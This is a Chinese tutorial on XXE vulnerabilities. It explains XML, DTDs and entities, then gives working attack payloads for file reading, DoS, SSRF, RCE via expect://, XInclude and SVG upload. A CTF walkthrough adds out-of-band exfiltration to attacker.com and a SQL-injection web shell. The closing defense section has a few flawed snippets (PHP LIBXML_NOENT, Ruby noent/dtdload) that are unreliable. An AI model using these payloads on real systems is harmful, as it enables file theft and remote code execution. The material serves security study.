一.什么是XXE漏洞
xxe漏洞是基于利用xml进行数据传输时,xml规范包含各种潜在危险功能。且xml可利用dtd定义外部实体,这可作为一个有效利用的点(但dtd逐渐被xml schema替代,后面要对其学习并转变利用)
顺便提一下JSON和XML都是用来传输数据的,为什么XXE是出现在XML中的,而没有出现在JSON中。其根本的原因就是XML和JSON两者对比最根本的区别是XML 是“可执行结构”,JSON 只是“数据结构”
二.XML介绍
2.1. XML基础
XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。
2.2. 基本语法
XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。
除了可选的开头外,XML 语法主要有以下的特性:
所有 XML 元素都须有关闭标签
XML 标签对大小写敏感
XML 必须正确地嵌套
XML 文档必须有根元素
XML 的属性值需要加引号
另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。
2.3.dtd
DTD(Document Type Definition,文档类型定义)是用于定义 XML 文档结构、元素、属性及实体的规范,属于 XML 1.0 规格的一部分。它通过定义一套标记规则,验证 XML 文档是否合法(有效),确保不同应用程序间交换数据的统一性和数据结构化。
DTD 的核心内容与功能:
结构约束 :明确定义 XML 中可以使用哪些元素、元素间的关系(顺序、嵌套)以及属性定义。
合法性校验 :XML 解析器通过 DTD 检查 XML 文档内容是否合乎规范,即验证其是否为“有效(Valid)”XML。
定义规则 :DTD 包含了元素、属性、实体或符号的定义规则。
DTD 的分类:
内部 DTD :直接定义在 XML 文档内部的 <!DOCTYPE> 声明中。
外部 DTD :定义在独立的 .dtd 文件中,通过 <!DOCTYPE> 引入,支持多个 XML 文档共享。
2.4.实体
XML实体(XML Entity) 是XML文档中定义的命名数据片段 ,可以在文档中通过引用名称来重用。
实体可以分为外部实体和内部实体,但除了上面的分法,还可以分为通用实体和参数实体,我知道你很懵,但你先别懵,坚持住。
内部实体:
内部实体就是在dtd里面直接定义的实体
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ctf [ <!ENTITY person "ctfer" > <!ENTITY hello " hello &title;" > <!ENTITY word "我要学ctf" > ]> <ctf > <publisher > &person; </publisher > <rights > &hello; </rights > <edition > 我们的口号是:&word; </edition > </ctf >
上面的栗子呈现出来的结果如下
1 2 3 ctfer hello ctfer 我们的口号是:我要学ctf
外部实体
一般在XXE漏洞中利用的都是外部实体,因为外部实体其实就是引用外部文件内容作为数据。同时,也可以利用伪协议读取解析该xml的本地文件内容。(xml可以直接引用伪协议是因为当XML解析处理此类实体时,会尝试打开该URL以获得实体的值。如果XML解析器是用PHP实现的(例如PHP的DOMDocument或SimpleXML扩展),那么它会调用PHP的流处理函数,从而触发 php:// 流包装器的逻辑。当然,通用的ftp,data等伪协议一般xml的解析器都是可用的)
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" ?> <!DOCTYPE notice [ <!ENTITY footer SYSTEM "footer.xml" > <!ENTITY logo SYSTEM "logo.svg" NDATA svg > ]> <document > <header > 公司公告</header > <content > 这里是公告内容...</content > &footer; </document >
通用实体:
通用实体说白了就是可以直接在XML直接应用的实体,也就是我们可以在DTD外部直接利用&引用的实体,其实上面外部实体和内部实体的例子都是通用实体,那这里就不再用代码讲述了,下面再讲讲参数实体我相信各位师傅就会区分了。
参数实体:
参数实体是仅可以用于dtd内部的实体,它的作用域只在dtd中,如果你在<!DOCTYPE >中使用将不会有任何反应,来个栗子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE fortiguard [ <!-- 1. 普通外部实体 --> <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history" > <!-- 2. 参数实体(带base64编码) --> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history" > <!-- 3. 外部 DTD 引用 --> <!ENTITY % dtd SYSTEM "http://127.0.0.1/abc.dtd" > <!-- 4. 执行外部 DTD --> %dtd ; %send ; ]>
逻辑如下图:
三.XXE攻击
所谓XXE攻击就是利用xml语法自定义语句查询自己想要的信息。我们用一个最简单的栗子来讲解一下:
1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE notice [ <!ENTITY footer SYSTEM "file:///etc/passwd" > ]> <document > &footer; </document >
可以直接读取/etc/passwd中的内容
下面来介绍一些XXE攻击方式
3.1. 拒绝服务攻击 1 2 3 4 5 6 7 <!DOCTYPE data [ <!ELEMENT data (#ANY )> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;" > <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;" > ]> <data > &a2;</data >
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
3.2. 文件读取 1 2 3 4 5 6 <?xml version="1.0" ?> <!DOCTYPE data [ <!ELEMENT data (#ANY )> <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <data > &file; </data >
3.3. SSRF 1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY )> ]> <data > 4</data >
3.4. RCE 1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" ?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" > ]><catalog > <core id ="test101" > <description > &xxe; </description > </core > </catalog > expect:// 是 PHP 的一个 流包装器,由 expect 扩展提供。当 PHP 的文件操作函数(如 fopen(), file_get_contents())处理一个以 expect:// 开头的 URI 时,它会执行 URI 中指定的命令,并返回命令的输出。
3.5. XInclude XInclude攻击
有些应用程序接收客户端提交的数据,将其嵌入到服务器端的 XML 文档中,然后解析该文档。例如,当客户端提交的数据被放入后端 SOAP 请求中,并由后端 SOAP 服务进行处理时,就会发生这种情况。
在这种情况下,无法执行经典的 XXE 攻击,因为无法控制整个 XML 文档,因此无法定义或修改DOCTYPE元素。但是,或许可以使用子文档XInclude来代替。XInclude子文档是 XML 规范的一部分,它允许从子文档构建 XML 文档。可以将攻击XInclude植入 XML 文档中的任何数据值中,因此即使只能控制服务器端 XML 文档中的单个数据项,也可以执行攻击。
1 2 <?xml version='1.0'?> <data xmlns:xi ="http://www.w3.org/2001/XInclude" > <xi:include href ="http://publicServer.com/file.xml" > </xi:include > </data >
3.6.修改内容
XXE 通过修改内容类型发起攻击
大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded。有些网站期望接收这种格式的请求,但也能容忍其他内容类型,包括 XML。
例如,如果一个普通的请求包含以下内容:
1 POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo= bar
那么,您可以尝试提交以下请求,结果应该是一样的:
1 POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8" ?> <foo > bar</foo >
如果应用程序容忍消息体中包含 XML 的请求,并将消息体内容解析为 XML,那么只需将请求重新格式化为 XML 格式,即可利用隐藏的 XXE 攻击面。
3.7.文件上传
某些应用程序允许用户上传文件,这些文件随后会在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式示例包括 DOCX 等办公文档格式和 SVG 等图像格式。
例如,某个应用程序可能允许用户上传图片,并在上传后在服务器上进行处理或验证。即使应用程序预期接收PNG或JPEG等格式的图片,其使用的图像处理库也可能支持SVG格式。由于SVG格式使用XML,攻击者可以提交恶意SVG图片,从而利用XXE漏洞的隐蔽攻击面。
我们借用DozerCTF2020的一道题目来讲解一下利用SVG文件上传实现XXE攻击:打开网页输入框可以输入URL的地址,然后进行检查URL指向的file是否为svg图片,SVG是基于XML的矢量图,可以支持Entity(实体)功能,这里未严格限制格式,因此造成blind xxe,ssrf打内网服务。先写一个简单的SVG图片源码放在vps上。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE fortiguard [ <!ENTITY lab "AAAA" > ]> <svg xmlns ="http://www.w3.org/2000/svg" height ="200" width ="200" > <text y ="20" font-size ="20" > &lab; </text > </svg >
提交SVG图片源码地址发现实体成功显示,然后尝试读取历史操作的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE fortiguard [ <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history" > ]> <svg xmlns ="http://www.w3.org/2000/svg" height ="200" width ="200" > <text y ="20" font-size ="20" > &lab; </text > </svg >
页面正常返回信息,但是经过尝试发现,并不能直接读到文件的内容,因为是无回显,所以进行尝试XXE的盲打,也通过加载外部的dtd文件,进而把读取结果以HTTP请求的方式发送到服务器上面进行读取,构造test.svg。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE fortiguard [ <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history" > <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history" > <!ENTITY % dtd SYSTEM "http://127.0.0.1/abc.dtd" > %dtd ;%send ;]> <svg xmlns ="http://www.w3.org/2000/svg" height ="200" width ="200" > <text y ="20" font-size ="20" > &lab; </text > </svg >
继续构造abc.dtd
1 2 3 4 5 6 7 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1/?%file;'>" > %all ;
这里将test.svg以及abc.dtd放进去vps上面,在网页提交test.svg的链接即可成功读取到.bash_history,可通过读取历史记录获取信息读取网页源码,然后利用SSRF打内网。首先利用sql注入写入一句话木马
1 http ://127.0.0.1:8080 /index.php?id=-1 %27 %20 union%20 select%201 ,%27 %3 C?php%20 system($%5 fGET%5 bcmd%5 d)%3 b%3 e%27 %20 into%20 outfile%27 /app/dashabi.php%27 %23
然后进行读取flag文件
1 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php" >
3.8.绕过方式
1.过滤xml的证明 即过滤<?xml version="1.0" 根据 XML 1.0 和 1.1 规范,XML 声明是可选的。如果文档没有声明,解析器会采用默认值
(1)将双引号改换为单引号 (2)在xml和version之间多加一个空格
2.无回显 利用带外技术解决 这个过程两个关键是读取本地文件,利用http请求携带参数数据发送给自己 但我们并不能将这两个过程写在一个内部dtd中,如下:
1 2 3 4 5 <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd" > <!ENTITY % send SYSTEM "http://attacker.com/?%file;" > %send ; ]>
当解析器处理 <!ENTITY % send SYSTEM "http://attacker.com/?%file;"> 时,%file 是一个参数实体引用,但在实体定义中,参数实体引用不会立即展开 。它只是作为字符串的一部分被保存下来。
当执行 %send; 时,解析器会将 %send 的替换文本(即 "http://attacker.com/?%file;")插入到 DTD 中,但此时 %file 仍然是一个参数实体引用,需要再次展开。然而,%file 的值此时可能已经被定义,但展开时机可能不对,或者由于解析器对参数实体展开的顺序限制,导致最终 %send 请求的 URL 中仍然是 %file 的字面字符串,而不是其内容。
因此,会直接失败
我们就可以通过外部dtd嵌套一层实现我们想要的功能
evil.dtd:
1 2 3 4 <!ENTITY % file SYSTEM "file:///etc/passwd" > <!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>" > %all ;%send ;
xml:
1 2 3 4 5 6 <?xml version="1.0" ?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd" > %dtd ; ]> <root />
%file :读取文件并存储其内容(如果是 PHP 环境,可能还需要 base64 编码以避免特殊字符)。
%all :其值是一个字符串:"<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>"。注意这里使用了 % 来表示 %,这样在定义 %all 时,内部的 %file 不会被展开(因为它在字符串中)。
%all; :执行后,这个字符串被插入到 DTD 中,相当于定义了一个新的参数实体 %send,其 URI 中包含了 %file(此时 %file 已经被定义,但注意:在 %send 的定义中,%file 仍然是一个引用,不会立即展开)。
%send; :执行 %send 时,解析器会尝试展开它,而 URI 中的 %file 此时会被展开,从而得到包含文件内容的完整 URL,并向攻击者服务器发起请求。
四.防护
现代XML解析器通常默认禁用外部实体。
4.1.核心防御原则
禁用 DTD —— 最彻底的防御,因为外部实体依赖于 DTD。
禁用外部实体 —— 如果不能完全禁用 DTD,至少禁止加载外部实体。
使用安全的解析器配置 —— 大多数现代 XML 库提供安全配置选项。
输入验证与过滤 —— 对 XML 内容和结构进行白名单验证。
最小化 XML 使用 —— 优先使用 JSON 等更安全的格式。
4.2.各平台/语言的具体防护配置
4.2.1.Java
使用 DocumentBuilderFactory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); dbf.setFeature("http://xml.org/sax/features/external-general-entities" , false ); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd" , false ); dbf.setXIncludeAware(false ); dbf.setExpandEntityReferences(false ); dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true );DocumentBuilder builder = dbf.newDocumentBuilder();
使用 SAXParser
1 2 3 4 5 6 SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); spf.setFeature("http://xml.org/sax/features/external-general-entities" , false ); spf.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); spf.setXIncludeAware(false );SAXParser parser = spf.newSAXParser();
使用 XMLInputFactory (StAX)
1 2 3 XMLInputFactory factory = XMLInputFactory.newInstance();factory .setProperty(XMLInputFactory.SUPPORT_DTD, false );factory .setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false );
使用 XPath
1 2 XPathFactory xpf = XPathFactory.newInstance(); xpf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true );
4.2.2.PHP
PHP 使用 libxml2,可通过 libxml_disable_entity_loader() 控制实体加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 libxml_disable_entity_loader(true );$dom = new DOMDocument();$dom ->loadXML($xml , LIBXML_NOENT | LIBXML_DTDLOAD); $dom ->loadXML($xml , LIBXML_NONET); $previous = libxml_disable_entity_loader(true );$xmlObject = simplexml_load_string($xml ); libxml_disable_entity_loader($previous );
注意 :PHP 8.0 起 libxml_disable_entity_loader() 默认已为 true,但为了兼容性仍建议显式设置。
4.2.3.Python
Python 的 xml 库默认可能不安全,推荐使用 defusedxml。
使用 defusedxml(首选)
1 2 3 4 5 from defusedxml.ElementTree import parse et = parse(xml_file) from defusedxml import minidom doc = minidom.parse(xml_file)
若使用标准库,手动配置:
1 2 3 4 5 6 from xml .etree.ElementTree import XMLParser, parse parser = XMLParser()parser .entity = {} # 清空实体字典,禁止外部实体 # 或使用禁止DTD的解析器 parser = XMLParser( forbid_dtd=True )
lxml 安全配置
1 2 3 4 5 6 7 8 9 from lxml import etree parser = etree.XMLParser( resolve_entities =False , # 禁用实体解析 no_network =True , # 禁用网络访问 load_dtd =False , # 不加载DTD dtd_validation =False # 不进行DTD验证 ) tree = etree.parse(xml_file, parser)
4.2.4.NET (C#)
XmlReader 安全设置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 XmlReaderSettings settings = new XmlReaderSettings (); settings.DtdProcessing = DtdProcessing.Prohibit; settings.DtdProcessing = DtdProcessing.Parse; settings.MaxCharactersFromEntities = 1024 ; settings.XmlResolver = null ; using (XmlReader reader = XmlReader.Create(stream, settings)) { XDocument doc = XDocument.Load(reader); }
使用 XDocument / XmlDocument 时
1 2 3 XmlDocument doc = new XmlDocument() doc.XmlResolver = null doc.LoadXml(xmlString)
4.2.5.Node.js / JavaScript
使用 xml2js 或 xmldom 时手动防范
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const { DOMParser } = require ('xmldom' );const parser = new DOMParser ({ errorHandler : { warning : () => {} }, locator : {}, externalEntity : () => null });const parser = new XMLParser ({ ignoreAttributes : false , allowBooleanAttributes : true , parseAttributeValue : true , processEntities : false , allowProtoParsing : false });
在浏览器端,同源策略通常限制外部实体,但仍需注意 XHR 响应解析。
4.2.6.Ruby
1 2 3 4 5 6 7 8 require 'nokogiri' doc = Nokogiri ::XML .parse(xml_string) do |config| config.nonet config.noent config.dtdload end
4.3.输入验证与过滤
即使配置了解析器,也应对 XML 内容进行验证:
使用 XML Schema (XSD) 验证 :确保 XML 符合预期的结构和数据类型,可以拒绝包含 DOCTYPE 的文档。
白名单校验 :如果业务不需要 DTD,可以简单检查 XML 是否包含 <!DOCTYPE 并拒绝。
内容长度限制 :防止利用 XML 实体展开进行 DoS(如 Billion Laughs 攻击)。
示例:拒绝包含 DOCTYPE 的 XML
1 2 if '<!DOCTYPE' in xml_string.upper (): raise ValueError ("DOCTYPE not allowed" )
但注意,攻击者可能通过编码绕过简单检测,因此应优先在解析器层面禁用。
参考链接:https://websec.readthedocs.io/zh/latest/vuln/xxe.html https://portswigger.net/web-security/xxe
https://www.freebuf.com/articles/web/330777.html